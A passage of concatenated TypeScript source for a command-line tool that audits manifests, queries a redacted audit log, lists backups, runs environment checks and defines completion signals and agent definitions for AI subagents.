repository format) are mostly enforced by Ajv + phase 1.1.1 M1 hotfix; this\n// audit is a second-line defense against schema drift / placeholder values\n// slipping through.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { validateManifestFile } from '../manifest/validate.js'\n// Phase 2.4 W4 T4.1 — runtime-layer helpers (B-28 + B-29 + D2.4-16 + D2.4-17).\nimport {\n auditInstallCmdIntegrity,\n auditOriginIntegrity,\n auditProvenance,\n} from './lib/audit-helpers.js'\n\nconst REPO_URL_PATTERN = /^https:\\/\\/[^\\s]+\\.git$/\nconst SIGNED_BY_PLACEHOLDERS = new Set(['unsigned', 'todo', 'placeholder', 'tbd', 'unknown'])\nconst FORBIDDEN_GIT_REFS = new Set(['HEAD', 'main', 'master'])\n\n// Phase 2.4 W4 T4.1 — exported for sister-share with src/cli/lib/audit-helpers.ts\n// (3 runtime-layer helpers reuse same finding shape; karpathy YAGNI no audit-types.ts).\nexport interface AuditFinding {\n manifest: string\n level: 'warn' | 'error'\n field: string\n detail: string\n}\n\nasync function auditOne(yamlPath: string, preReadSrc?: string): Promise<AuditFinding[]> {\n const findings: AuditFinding[] = []\n const src = preReadSrc ?? (await readFile(yamlPath, 'utf8'))\n const v = validateManifestFile(src, yamlPath)\n if (!v.ok) {\n return v.errors.map((e) => ({\n manifest: yamlPath,\n level: 'error' as const,\n field: e.path,\n detail: e.message,\n }))\n }\n const m = v.manifest\n\n // 1. repository URL shape — must be https + .git suffix.\n const repo = m.metadata.upstream.repository\n if (!REPO_URL_PATTERN.test(repo)) {\n findings.push({\n manifest: yamlPath,\n level: 'warn',\n field: '/metadata/upstream/repository',\n detail: `repository '${repo}' should be https://...git`,\n })\n }\n\n // 2. signed_by must not be a placeholder.\n const sig = m.spec.signed_by\n if (SIGNED_BY_PLACEHOLDERS.has(sig.toLowerCase())) {\n findings.push({\n manifest: yamlPath,\n level: 'warn',\n field: '/spec/signed_by',\n detail: `signed_by '${sig}' looks like a placeholder`,\n })\n }\n\n // 3. git_ref second-line check — schema enforces SHA(7-40 hex)|SemVer pattern (M1\n // hotfix); audit catches the rare \"schema bypass\" case, which is impossible today\n // but cheap insurance against future migrations.\n const install = m.spec.install\n if ('git_ref' in install && typeof install.git_ref === 'string') {\n if (FORBIDDEN_GIT_REFS.has(install.git_ref)) {\n findings.push({\n manifest: yamlPath,\n level: 'error',\n field: '/spec/install/git_ref',\n detail: `git_ref '${install.git_ref}' is a moving ref (HEAD/main/master) — pin to SHA or tag`,\n })\n }\n }\n return findings\n}\n\nexport function registerAudit(program: Command): void {\n program\n .command('audit')\n .description('Second-line manifest self-consistency audit (manifest + runtime layers)')\n .option(\n '--skip-runtime',\n 'skip runtime-layer checks (origin tamper / provenance) — manifest only',\n )\n .action(async (opts: { skipRuntime?: boolean }) => {\n const root = process.cwd()\n const dirs = ['manifests/tools', 'manifests/skill-packs']\n const yamls: string[] = []\n for (const d of dirs) {\n try {\n const entries = await readdir(join(root, d))\n for (const f of entries) if (f.endsWith('.yaml')) yamls.push(resolve(root, d, f))\n } catch {\n // dir absent — skip silently (project may not have all categories)\n }\n }\n yamls.sort()\n\n // Manifest-layer findings (Phase 1.2 ship — schema drift / placeholders / moving refs).\n const findings: AuditFinding[] = []\n const validManifests: Array<{\n path: string\n m: import('../manifest/schema/types.js').Manifest\n }> = []\n for (const y of yamls) {\n const src = await readFile(y, 'utf8')\n const v = validateManifestFile(src, y)\n if (v.ok) validManifests.push({ path: y, m: v.manifest })\n findings.push(...(await auditOne(y, src)))\n }\n\n // Phase 2.4 W4 T4.1 — runtime-layer findings per B-28 + B-29 + R2:\n // 1. origin URL tamper (hard-fail mode via shared checkOrigin helper)\n // 2. install.cmd shell-injection + npm-pkg-vs-upstream cross-check\n // 3. provenance gate (delegates to scripts/check-provenance.mjs)\n // --skip-runtime escape hatch for offline / pre-init env (B-29 carve-out).\n if (!opts.skipRuntime) {\n findings.push(...auditOriginIntegrity(root))\n for (const { m } of validManifests) findings.push(...auditInstallCmdIntegrity(m))\n findings.push(...auditProvenance())\n }\n\n const byManifest = new Map<string, AuditFinding[]>()\n for (const f of findings) {\n const arr = byManifest.get(f.manifest) ?? []\n arr.push(f)\n byManifest.set(f.manifest, arr)\n }\n let errorCount = 0\n for (const y of yamls) {\n const fs = byManifest.get(y) ?? []\n if (fs.length === 0) {\n console.log(`✓ ${y}`)\n } else {\n for (const f of fs) {\n const mark = f.level === 'error' ? '✗' : '⚠'\n console.log(`${mark} ${y}\\n ${f.field}: ${f.detail}`)\n if (f.level === 'error') errorCount++\n }\n }\n }\n // Phase 2.4 W4: emit runtime-layer findings (manifest key = 'project' or m.metadata.name).\n for (const [mname, fs] of byManifest) {\n if (yamls.includes(mname)) continue // manifest-layer already printed above\n for (const f of fs) {\n const mark = f.level === 'error' ? '✗' : '⚠'\n console.log(`${mark} [${mname}] ${f.field}: ${f.detail}`)\n if (f.level === 'error') errorCount++\n }\n }\n console.log(\n `\\naudited ${yamls.length} manifest${yamls.length === 1 ? '' : 's'} — ${findings.length} finding${findings.length === 1 ? '' : 's'} (${errorCount} error${errorCount === 1 ? '' : 's'})`,\n )\n process.exit(errorCount > 0 ? 1 : 0)\n })\n}\n","// Phase 5.1 W1 T1.1 — R10.1 audit log --filter consumer (registerAuditLog).\n// D-01: jq subprocess spawn (shell:false, argv-mode, STRIDE T mitigation).\n// D-02: dual format — default human table 5-col + --json full 12-field opt-in.\n// D-03: pagination: --tail N (default 50) + --head N + --reverse.\n// D-04: consumer 2nd-layer redact 5 patterns (defense-in-depth, CSO gate).\n// Sister: src/cli/doctor.ts register + ExitError + flag validation pattern.\n// Karpathy hard limit ≤200L.\n\nimport { spawn } from 'node:child_process'\nimport { existsSync, readFileSync } from 'node:fs'\nimport type { Command } from 'commander'\nimport type { AuditRecord } from '../audit/log.js'\n\nconst AUDIT_PATH = '.harnessed/audit.log'\n\n// D-04: pre-compile at module load (NOT inside loop per PLAN sneak-block).\n// Apply to task_excerpt field only (other fields are structured IDs/enums/timestamps).\n// Pipeline order: paginate → redact → jq → render (redact LAST per RESEARCH § 2.2).\nconst REDACT_PATTERNS: Array<[RegExp, string]> = [\n [/api[_-]?key\\s*[:=]\\s*\\S+/gi, 'api_key=[REDACTED]'],\n [/\\btoken\\s*[:=]\\s*\\S+/gi, 'token=[REDACTED]'],\n [/\\bpassword\\s*[:=]\\s*\\S+/gi, 'password=[REDACTED]'],\n [/Authorization:\\s*Bearer\\s+\\S+/gi, 'Authorization: Bearer [REDACTED]'],\n [/\\b(sk-|pk-|gh_|ghp_|ya29\\.|AIza)[A-Za-z0-9_\\-.]{4,}/g, '[REDACTED]'],\n]\n\nfunction redact(s: string): string {\n return REDACT_PATTERNS.reduce((acc, [re, rep]) => acc.replace(re, rep), s)\n}\n\nfunction redactRecord(r: AuditRecord): AuditRecord {\n return { ...r, task_excerpt: redact(r.task_excerpt) }\n}\n\nfunction renderHumanTable(records: AuditRecord[]): void {\n // 5-col: ts(19) | phase(6) | category(11) | matched_rule_id(20) | outcome\n const header = `${'ts'.padEnd(19)} | ${'phase'.padEnd(6)} | ${'category'.padEnd(11)} | ${'matched_rule_id'.padEnd(20)} | outcome`\n const sep = `${'-'.repeat(19)}-+-${'-'.repeat(6)}-+-${'-'.repeat(11)}-+-${'-'.repeat(20)}-+--------`\n console.log(header)\n console.log(sep)\n for (const r of records) {\n const ts = r.ts.slice(0, 19)\n const phase = r.phase.padEnd(6)\n const cat = r.category.padEnd(11)\n const rule = (r.matched_rule_id ?? 'null').padEnd(20)\n console.log(`${ts} | ${phase} | ${cat} | ${rule} | ${r.outcome}`)\n }\n}\n\nfunction pipeToJq(filterExpr: string, lines: string[]): Promise<number> {\n return new Promise((resolve, reject) => {\n // D-01: spawn with shell:false (default) — argv-mode immune to shell injection (STRIDE T).\n const child = spawn('jq', [filterExpr], {\n stdio: ['pipe', 'inherit', 'inherit'],\n windowsHide: true,\n })\n // Handle jq absent (ENOENT) — actionable error per doctor.ts jq check pattern.\n child.on('error', (err) => {\n const e = err as NodeJS.ErrnoException\n if (e.code === 'ENOENT') {\n console.error('✗ jq not found in PATH — run: harnessed doctor')\n resolve(1)\n } else {\n reject(err)\n }\n })\n child.on('close', (code) => resolve(code ?? 0))\n child.stdin.write(lines.join('\\n'))\n child.stdin.end()\n })\n}\n\nexport function registerAuditLog(program: Command): void {\n program\n .command('audit-log')\n .description('Query routing audit log (.harnessed/audit.log) with optional jq filter (R10.1)')\n .option('--filter <expr>', 'jq filter expression (e.g. \\'.category==\"engineering\"\\')')\n .option('--tail <n>', 'show N most recent records (default 50)', '50')\n .option('--head <n>', 'show N oldest records (--head takes priority over --tail)')\n .option('--reverse', 'flip output order')\n .option('--json', 'output full 12-field JSON instead of human table')\n .action(\n async (opts: {\n filter?: string\n tail?: string\n head?: string\n reverse?: boolean\n json?: boolean\n }) => {\n // H1 gate: validate pagination flags before any I/O (sister doctor.ts pattern).\n const tailN = opts.tail !== undefined ? Number(opts.tail) : 50\n if (Number.isNaN(tailN) || tailN < 1) {\n console.error('✗ --tail must be a positive integer')\n process.exit(2)\n }\n const headN = opts.head !== undefined ? Number(opts.head) : undefined\n if (headN !== undefined && (Number.isNaN(headN) || headN < 1)) {\n console.error('✗ --head must be a positive integer')\n process.exit(2)\n }\n\n // Read audit.log — hardcoded path (STRIDE T: no derivation from user input).\n if (!existsSync(AUDIT_PATH)) {\n console.log('no audit records found (.harnessed/audit.log does not exist)')\n process.exit(0)\n }\n\n const raw = readFileSync(AUDIT_PATH, 'utf8')\n const lines = raw\n .split('\\n')\n .map((l) => l.trim())\n .filter((l) => l.length > 0)\n\n if (lines.length === 0) {\n console.log('no audit records found (audit.log is empty)')\n process.exit(0)\n }\n\n // Parse records; skip malformed lines silently.\n let records: AuditRecord[] = []\n for (const line of lines) {\n try {\n records.push(JSON.parse(line) as AuditRecord)\n } catch {\n // skip malformed line\n }\n }\n\n // D-03: pagination — --head takes priority over --tail per PLAN must_haves.\n if (headN !== undefined) {\n records = records.slice(0, headN)\n } else {\n records = records.slice(-tailN)\n }\n\n // D-03: --reverse flips output order.\n if (opts.reverse) records = records.reverse()\n\n // D-04: redact task_excerpt BEFORE any output (apply last in pipeline per RESEARCH § 2.2).\n records = records.map(redactRecord)\n\n // D-01: --filter → pipe redacted JSONL through jq subprocess.\n if (opts.filter) {\n // jq absent → actionable error (sister doctor.ts jq check pattern).\n const redactedLines = records.map((r) => JSON.stringify(r))\n const exitCode = await pipeToJq(opts.filter, redactedLines)\n process.exit(exitCode)\n }\n\n // D-02: output format.\n if (opts.json) {\n for (const r of records) {\n console.log(JSON.stringify(r, null, 2))\n }\n } else {\n renderHumanTable(records)\n }\n\n process.exit(0)\n },\n )\n}\n","// Phase 1.2 cli subcommand `backup list` per ADR 0004 § 3.\n//\n// Lists all backup snapshots under .harnessed-backup/<timestamp>/metadata.json\n// with installer / manifest / timestamp / file-count summary. Sister to\n// gc.ts (which deletes old snapshots) and rollback.ts (which restores from\n// a chosen timestamp).\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\n\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: Array<{ target: string }>\n}\n\nexport function registerBackupList(program: Command): void {\n const backup = program.command('backup').description('Backup snapshot operations')\n backup\n .command('list')\n .description('List backup snapshots under .harnessed-backup/')\n .action(async () => {\n const root = resolve(process.cwd(), '.harnessed-backup')\n let dirs: string[]\n try {\n dirs = (await readdir(root, { withFileTypes: true }))\n .filter((e) => e.isDirectory())\n .map((e) => e.name)\n .sort()\n } catch {\n console.log('no backups found (.harnessed-backup/ absent)')\n return\n }\n if (dirs.length === 0) {\n console.log('no backups found (.harnessed-backup/ empty)')\n return\n }\n for (const ts of dirs) {\n try {\n const meta = JSON.parse(\n await readFile(join(root, ts, 'metadata.json'), 'utf8'),\n ) as BackupMetadata\n console.log(\n `${ts} ${meta.manifest} (${meta.files.length} file${meta.files.length === 1 ? '' : 's'})`,\n )\n } catch {\n console.log(`${ts} (metadata.json missing or unreadable)`)\n }\n }\n console.log(`\\n${dirs.length} snapshot${dirs.length === 1 ? '' : 's'} total`)\n })\n}\n","// Phase 1.2 cli subcommand `doctor` per PLAN § 4.1 acceptance B8' + ASSUMPTIONS B4 候选 1 + C4.\n// Phase 2.4 W1 T1.2 — expanded to 5 checks + --json flag + 3-tier status enum\n// (pass/warn/fail) + warn ≠ fail exit policy (B-06). Hard limit ≤215L per B-03\n// (5% tolerance over Karpathy 200L target). Origin URL check delegates to\n// src/cli/lib/origin-check.ts (sister-share with audit, per B-28 + D2.4-3).\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C4 mitigation — WSL detection): on Windows\n// we resolve which `bash` the shell will spawn (PATH-first), then probe\n// `bash -c 'echo $WSL_DISTRO_NAME'`. If the probe outputs a non-empty string\n// the resolved bash is the WSL `bash.exe` shim (which forks a Linux process\n// — known to break ralph-loop subagent spawning on harness side, see\n// phase-1.1 finding). Empty output = Git Bash or native bash, OK.\n\nimport { spawnSync } from 'node:child_process'\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\nfunction checkNodeVersion(): CheckResult {\n const v = process.versions.node\n const major = Number.parseInt(v.split('.')[0] ?? '0', 10)\n return major >= 22\n ? { name: 'node ≥ 22', status: 'pass', message: `node ${v}` }\n : {\n name: 'node ≥ 22',\n status: 'fail',\n message: `node ${v} (need ≥ 22)`,\n fix: 'nvm install 22 && nvm use 22',\n }\n}\n\nasync function checkMcpScope(): Promise<CheckResult> {\n // ADR 0004 § 5: MCP servers must be installed at project scope (.mcp.json),\n // never at user scope (~/.claude.json mcpServers block) — CC #54803.\n const projectMcp = join(process.cwd(), '.mcp.json')\n const userClaude = join(homedir(), '.claude.json')\n\n let projectExists = false\n try {\n await readFile(projectMcp, 'utf8')\n projectExists = true\n } catch {\n // .mcp.json absence is fine if no MCP servers are installed yet — only an issue\n // if the user has them at user scope instead.\n }\n\n let userHasMcp = false\n try {\n const raw = await readFile(userClaude, 'utf8')\n const parsed = JSON.parse(raw) as { mcpServers?: Record<string, unknown> }\n userHasMcp = !!parsed.mcpServers && Object.keys(parsed.mcpServers).length > 0\n } catch {\n // ENOENT or malformed JSON — treat as no user-scope MCP servers, OK.\n }\n\n if (userHasMcp) {\n return {\n name: 'mcp scope = project',\n status: 'fail',\n message: `~/.claude.json has user-scope mcpServers (CC #54803 risk)`,\n fix: 'remove user-scope entries; re-add via `claude mcp add --scope project ...`',\n }\n }\n return {\n name: 'mcp scope = project',\n status: 'pass',\n message: projectExists ? 'project .mcp.json present' : 'no MCP servers installed',\n }\n}\n\nfunction checkJq(): CheckResult {\n const finder = process.platform === 'win32' ? 'where' : 'which'\n const r = spawnSync(finder, ['jq'], { encoding: 'utf8' })\n if (r.status === 0 && r.stdout.trim().length > 0) {\n return {\n name: 'jq present',\n status: 'pass',\n message: r.stdout.split(/\\r?\\n/)[0]?.trim() ?? 'jq found',\n }\n }\n const fix =\n process.platform === 'win32'\n ? 'winget install jqlang.jq (or: scoop install jq)'\n : process.platform === 'darwin'\n ? 'brew install jq'\n : 'apt-get install jq (or: dnf install jq)'\n return { name: 'jq present', status: 'fail', message: 'jq not found in PATH', fix }\n}\n\nfunction checkWinBash(): CheckResult {\n // Only meaningful on Windows; on Unix we report skipped-OK.\n if (process.platform !== 'win32') {\n return { name: 'bash flavor (win)', status: 'pass', message: 'skipped (non-Windows)' }\n }\n // Step 1: locate the `bash` that PATH would resolve.\n const where = spawnSync('where', ['bash'], { encoding: 'utf8' })\n const firstBash = (where.stdout ?? '').split(/\\r?\\n/)[0]?.trim() ?? '(not found)'\n if (where.status !== 0 || !firstBash || firstBash === '(not found)') {\n return {\n name: 'bash flavor (win)',\n status: 'fail',\n message: 'no bash on PATH',\n fix: 'install Git for Windows (Git Bash) and ensure it is on PATH',\n }\n }\n // Step 2: WSL probe — non-empty WSL_DISTRO_NAME = WSL bash, ralph-loop fork bug risk.\n const probe = spawnSync('bash', ['-c', 'echo $WSL_DISTRO_NAME'], { encoding: 'utf8' })\n const distro = (probe.stdout ?? '').trim()\n if (distro.length > 0) {\n return {\n name: 'bash flavor (win)',\n status: 'fail',\n message: `WSL bash (${distro}) — ralph-loop subagent fork breaks under WSL`,\n fix: 'reorder PATH so Git Bash precedes WSL bash.exe (Settings → System → Environment Variables)',\n }\n }\n return { name: 'bash flavor (win)', status: 'pass', message: `${firstBash} (Git Bash / native)` }\n}\n\n// Phase 2.4 W1 T1.2 — 5th check: origin URL drift detection (warn mode for fork\n// legitimacy per B-05; audit uses hard-fail mode via same helper per B-28).\nasync function checkOriginUrl(): Promise<CheckResult> {\n const { checkOrigin } = await import('./lib/origin-check.js')\n const r = checkOrigin(process.cwd(), { allowFork: true })\n return { name: 'origin URL', status: r.status, message: r.detail, fix: r.fix }\n}\n\n// Phase 3.2 W1 T1.5 — 6th check: gstack command prefix PROBE (D-01 LOCKED).\n// Sister Phase 2.4 W1 checkOriginUrl L130-134 dynamic import + delegate pattern.\nasync function checkGstackPrefix(): Promise<CheckResult> {\n const { probeGstackPrefix } = await import('./lib/probe-gstack.js')\n const r = probeGstackPrefix()\n return { name: 'gstack prefix', status: r.status, message: r.detail, fix: r.fix }\n}\n\n// Phase 3.3 W1 T1.7 — 7th check: deprecated manifests via aliases.yaml (D-02\n// DOCTOR-ONLY-WARN). Phase 3.4 W1 T1.2 — 8th check: skill description token\n// budget (D-03 BUFFER /4 + D-04 DOCTOR WARN). Option A inline shrink (3L each)\n// per RESEARCH § 1.3 + sister L138-142 checkGstackPrefix 100% delegate pattern.\nasync function checkDeprecations(): Promise<CheckResult> {\n return (await import('./lib/check-deprecations.js')).checkDeprecations()\n}\nasync function checkTokenBudget(): Promise<CheckResult> {\n return (await import('./lib/check-token-budget.js')).checkTokenBudget()\n}\n\nexport function registerDoctor(program: Command): void {\n program\n .command('doctor')\n .description(\n 'Preflight checks (Node / MCP scope / jq / Win bash / origin URL / gstack prefix / deprecations / token budget)',\n )\n .option('--json', 'output JSON instead of human-readable')\n .action(async (opts: { json?: boolean }) => {\n // Phase 4.3 W0 sister 3rd-cycle absorb #BT — 5 async checks have no data\n // dependencies, parallelize via Promise.all (was sequential await chain).\n // Sync checks (Node/jq/winBash) stay inline; final array preserves the\n // legacy ordering so doctor.test.ts cell 1 + 4 + 5 + check-order remain green.\n const [mcpScope, originUrl, gstackPrefix, deprecations, tokenBudget] = await Promise.all([\n checkMcpScope(),\n checkOriginUrl(),\n checkGstackPrefix(), // ← Phase 3.2 W1 T1.5 ADD 6th check (D-01 PROBE)\n checkDeprecations(), // ← Phase 3.3 W1 T1.7 ADD 7th check (D-02 DOCTOR-ONLY-WARN)\n checkTokenBudget(), // ← Phase 3.4 W1 T1.2 ADD 8th check (D-03 + D-04 DOCTOR WARN)\n ])\n const results: CheckResult[] = [\n checkNodeVersion(),\n mcpScope,\n checkJq(),\n checkWinBash(),\n originUrl,\n gstackPrefix,\n deprecations,\n tokenBudget,\n ]\n const hasFail = results.some((r) => r.status === 'fail')\n const hasWarn = results.some((r) => r.status === 'warn')\n if (opts.json) {\n console.log(\n JSON.stringify(\n { checks: results, summary: hasFail ? 'fail' : hasWarn ? 'warn' : 'pass' },\n null,\n 2,\n ),\n )\n } else {\n for (const r of results) {\n const mark = r.status === 'pass' ? '✓' : r.status === 'warn' ? '⚠' : '✗'\n console.log(`${mark} ${r.name} — ${r.message}`)\n if (r.status !== 'pass' && r.fix) console.log(` fix: ${r.fix}`)\n }\n console.log(\n hasFail\n ? '\\nsome checks failed (see fix hints above)'\n : hasWarn\n ? '\\nall checks ok (with warnings — see hints above)'\n : '\\nall checks passed',\n )\n }\n process.exit(hasFail ? 1 : 0) // B-06: warn ≠ fail (advisory only)\n })\n}\n","// Phase 2.2 Wave 2 T2.2 — Unified COMPLETION_SCHEMA (D2.2-1 / RESEARCH § 1.4).\n// ADR 0011 errata — dual-signal completion 4-layer (phase 2.2 W2 — F4).\n//\n// IMPL NOTE — RESEARCH § 1.4 establishes ONE schema shared across the 4-phase\n// execute-task chain (01-clarify / 02-code / 03-test / 04-deliver). Karpathy\n// YAGNI: per-phase schema variants are NOT needed — a single status/phase\n// discriminator + free-form summary + optional blockers covers every phase's\n// completion semantics. Consumer at `isComplete()` (lib/ralphLoop.ts) branches\n// on `status === 'COMPLETE'`. PRIMARY signal — see SC3 plan-fork\n// (`outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA }`).\n\nexport const COMPLETION_SCHEMA = {\n type: 'object',\n properties: {\n status: { type: 'string', enum: ['COMPLETE', 'PARTIAL', 'BLOCKED'] },\n phase: { type: 'string', enum: ['01-clarify', '02-code', '03-test', '04-deliver'] },\n summary: { type: 'string' },\n blockers: { type: 'array', items: { type: 'string' } },\n },\n required: ['status', 'phase'],\n} as const\n\nexport type CompletionStatus = 'COMPLETE' | 'PARTIAL' | 'BLOCKED'\nexport type CompletionPhase = '01-clarify' | '02-code' | '03-test' | '04-deliver'\n\n/** SDK result envelope shape consumed by lib/ralphLoop.ts `isComplete` 4-layer\n * detect. Mirrors `SDKResultMessage` (sdk.d.ts) — only the fields we read. */\nexport interface SdkResultEnvelope {\n subtype?: string\n structured_output?: { status?: CompletionStatus }\n text?: string\n result?: string\n}\n","// Phase 1.4 T3.3 — main agent system prompt verbatim COMPLETE template (Pattern O).\n// Phase 1.5 T5.1 — `<promise>COMPLETE</promise>` XML wrapper upgrade (ADR 0009 §\n// Decision Errata 3 / D1.5-4 sub-item 3 / R2 fresh 2026-05-14).\n// Phase 2.2 W2 T2.3 — dual-signal PRIMARY schema inject (ADR 0011 errata B-02\n// B-27 PATTERNS § 2.3 / § 2.5 row 5). Belt-and-suspenders: when outputFormat\n// json_schema is set on the query, agents emit a structured object conforming\n// to COMPLETION_SCHEMA (PRIMARY signal); they ALSO emit\n// `<promise>COMPLETE</promise>` (FALLBACK signal — required for inner-layer\n// subagent completion detection per RESEARCH § 1.3 4-layer table).\n//\n// IMPL NOTE — 1:1 对应 docs/AGENT-DEFINITION-FACTORY-CONTRACT.md § 5.4 verbatim\n// COMPLETE template. D-18 plan-checker enforce: any drift here = ADR 0009+\n// errata trigger. F33 P1 mitigation — main agent must pass subagent final\n// message verbatim (no summarize/paraphrase) so that the COMPLETE token\n// survives round-trip.\n//\n// Phase 1.5 upgrade: raw `^COMPLETE$/m` regex → `<promise>COMPLETE</promise>`\n// verbatim XML wrapper. The XML wrapper disambiguates think-out-loud text (e.g.\n// \"I should output COMPLETE to signal done\") from the actual completion signal.\n// SPIKE-REPORT-2.md § 3 validated `<promise>([^<]+)</promise>` extract is robust\n// against false positives that the raw `^COMPLETE$/m` regex was prone to.\n// Switching to the official `--add-plugin ralph-wiggum` plugin (phase 2.1+,\n// ADR 0010+ evaluation window) keeps this protocol unchanged — `<promise>...\n// </promise>` is the ralph-wiggum official tag format.\n//\n// Pattern O (phase 1.4) — verbatim instructional prompt template; the const\n// SYSTEM_PROMPT is the single source of truth consumed by engine.ts and echoed\n// inside agentDefinition.ts via COMPLETE_INSTRUCTION (routing-engine.test.ts\n// asserts toContain to lock drift).\n\nimport { COMPLETION_SCHEMA } from './completionSchema.js'\n\n/** Main agent system prompt — F33 P1 verbatim COMPLETE 强制 + skills fail-fast\n * + max-iterations × maxTurns 兜底. Sourced 1:1 from contract § 5.4.\n * Phase 2.2 W2 T2.3 appends a dual-signal segment for the SC3 PRIMARY path. */\nexport const SYSTEM_PROMPT = `## RULE: subagent COMPLETE marker\nWhen you spawn a subagent and it returns a final message:\n1. **DO NOT summarize, paraphrase, or interpret the subagent's final message**\n2. **DO NOT skip or omit the COMPLETE marker**\n3. The subagent will emit \\`<promise>COMPLETE</promise>\\` (exact verbatim XML wrapper) when done\n4. You MUST verbatim grep \\`<promise>COMPLETE</promise>\\` from final message → if present, treat task as done\n5. If \\`<promise>COMPLETE</promise>\\` absent → re-spawn subagent (max 20 iterations); after max, throw VerbatimCompleteFailError\n\n## skills fail-fast handling\n- SkillNotInstalledError → print user-friendly fix command (e.g., \"Run: harnessed install <name>\")\n- RestartRequiredError → print \"请 exit + restart Claude Code 让 plugin 生效\"\n\n## 兜底 max-iterations\n- max-iterations 20 (external ralph-loop) × maxTurns 50 (internal AgentDefinition) = 1000 round-trips worst case\n\n## Completion signal (dual-signal — emit BOTH)\nIf \\`outputFormat: { type: 'json_schema' }\\` is set on this query, emit a final-turn output conforming to the schema (status/phase/summary/blockers — keys: ${Object.keys(COMPLETION_SCHEMA.properties).join(', ')}).\nAND emit \\`<promise>COMPLETE</promise>\\` (FALLBACK signal — required regardless of structured output presence, for inner-layer subagent completion detection per RESEARCH § 1.3).\n`\n\n/** Subagent-side CRITICAL RULE — prepended into AgentDefinition.prompt by the\n * factory (T3.2). Instructs the subagent to emit `<promise>COMPLETE</promise>`\n * verbatim once done so the main agent's XML-wrapper extract matches without\n * paraphrase loss and without think-out-loud false positives. */\nexport const COMPLETE_INSTRUCTION = `## CRITICAL RULE: COMPLETE marker\nWhen your task is done, emit the exact verbatim XML wrapper\n\\`<promise>COMPLETE</promise>\\` on its own line and nothing else after it. Do\nNOT emit any other variant — not \"completed\", not \"DONE\", not bare \\`COMPLETE\\`,\nnot \"✅\". The parent agent will verbatim grep \\`<promise>COMPLETE</promise>\\` —\nany deviation fails the round-trip and forces a re-spawn (max 20 iterations).\n`\n","// Phase 1.4 T3.2 — AgentDefinition factory (1:1 docs/AGENT-DEFINITION-FACTORY-\n// CONTRACT.md v1, frozen at phase 1.3 ship).\n// Phase 1.5 T5.3 — contract v1.1: 12 → 14 字段 (ADR 0009 § Decision Errata 1 /\n// D1.5-4 sub-item 1). Adds `initialPrompt` (Stable) +\n// `criticalSystemReminder_EXPERIMENTAL` (Experimental — `_EXPERIMENTAL` suffix\n// signals the field name itself may change without a semver bump).\n//\n// IMPL NOTE — implements docs/AGENT-DEFINITION-FACTORY-CONTRACT.md v1.1 (v1\n// frozen at phase 1.3 ship; v1.1 additive errata appended at phase 1.5). ADR\n// 0009 § Decision Errata 1 cross-link tracks the 12 → 14 字段 delta. D-14\n// throw-error (not Result wrap) — typed error classes propagate to engine.ts\n// narrow into EngineResult. D1.4-14 prepends Karpathy 4 心法 always-on baseline\n// + COMPLETE_INSTRUCTION (1:1 imported from systemPrompt.ts T3.3). Any enum\n// drift across the 14 字段 = ADR 0009+ errata trigger (D-18 enforce — W-5 V1\n// BLOCKER drift detector enum extended 12 → 14: see AGENT_DEFINITION_FIELDS +\n// routing-engine.test.ts cell 13 / routing-agentDefinition.test.ts cell 1).\n//\n// IMPL NOTE — F40-2 (executor 2026-05-13): contract § 3 shows\n// `import type { AgentDefinition } from '@anthropic-ai/claude-agent-sdk'` as\n// the ideal anchor. package.json does NOT include the SDK runtime dep; to\n// preserve karpathy YAGNI + avoid an architectural surface change mid-execute,\n// this file declares the AgentDefinition shape **structurally 1:1** with\n// contract § 2 inline. Drift caught by routing-agentDefinition.test.ts cell 1\n// (memory + permissionMode enum value assert — B-1/B-2 V1 BLOCKER fix). SDK\n// type alias migration deferred to phase 1.5 (D1.4-2 errata window).\n// SPIKE-REPORT.md § 3 verbatim COMPLETE round-trip FEASIBLE on Win Git Bash\n// claude CLI v2.1.133 — verbatim grep `^COMPLETE$/m` stable.\n\nimport { existsSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { COMPLETE_INSTRUCTION } from './systemPrompt.js'\n\n/** AgentDefinition — structural mirror of contract § 2 v1.1 (14 fields). Drift\n * caught by routing-agentDefinition.test.ts cell 1 + routing-engine.test.ts\n * cell 13 enum value asserts (W-5 V1 BLOCKER drift detector — 14 字段). */\nexport interface AgentDefinition {\n // Required (§ 2.1)\n description: string\n prompt: string\n // Optional (§ 2.2 — 10 fields)\n tools?: string[]\n disallowedTools?: string[]\n model?: 'sonnet' | 'opus' | 'haiku' | 'inherit' | string\n skills?: string[]\n mcpServers?: Record<string, unknown>\n memory?: 'user' | 'project' | 'local'\n maxTurns?: number\n background?: boolean\n effort?: 'low' | 'medium' | 'high' | 'xhigh' | 'max' | number\n permissionMode?: 'default' | 'acceptEdits' | 'bypassPermissions' | 'plan'\n // v1.1 errata (§ 2.3 — ADR 0009 § Decision Errata 1, 2026-05-14)\n /** Stable (2026-05): auto-submitted as the first user turn when a plugin\n * agent runs as the main-thread agent (plugin settings.json `agent: <name>`\n * upgrade scenario only). */\n initialPrompt?: string\n /** EXPERIMENTAL: critical reminder injected into the system prompt. The\n * `_EXPERIMENTAL` suffix signals the API may rename this field WITHOUT a\n * semver bump — monitor code.claude.com/docs/en/agent-sdk/typescript release\n * notes (ADR 0009 § Consequences 负面 3). */\n criticalSystemReminder_EXPERIMENTAL?: string\n}\n\n/** W-5 V1 BLOCKER drift detector — the canonical 14-field name list (contract\n * v1.1 § 2). Any add/remove here MUST land with a matching contract.md errata\n * + test cell (D-18 enforce). Extended 12 → 14 at phase 1.5 T5.3. */\nexport const AGENT_DEFINITION_FIELDS = [\n 'description',\n 'prompt',\n 'tools',\n 'disallowedTools',\n 'model',\n 'skills',\n 'mcpServers',\n 'memory',\n 'maxTurns',\n 'background',\n 'effort',\n 'permissionMode',\n 'initialPrompt',\n 'criticalSystemReminder_EXPERIMENTAL',\n] as const\n\n/** Routing arbitrate output (1:1 contract § 3). */\nexport interface ArbitrateResult {\n matched_rule_id: string | null\n primary_expert: string | null\n secondary_expert: string | null\n 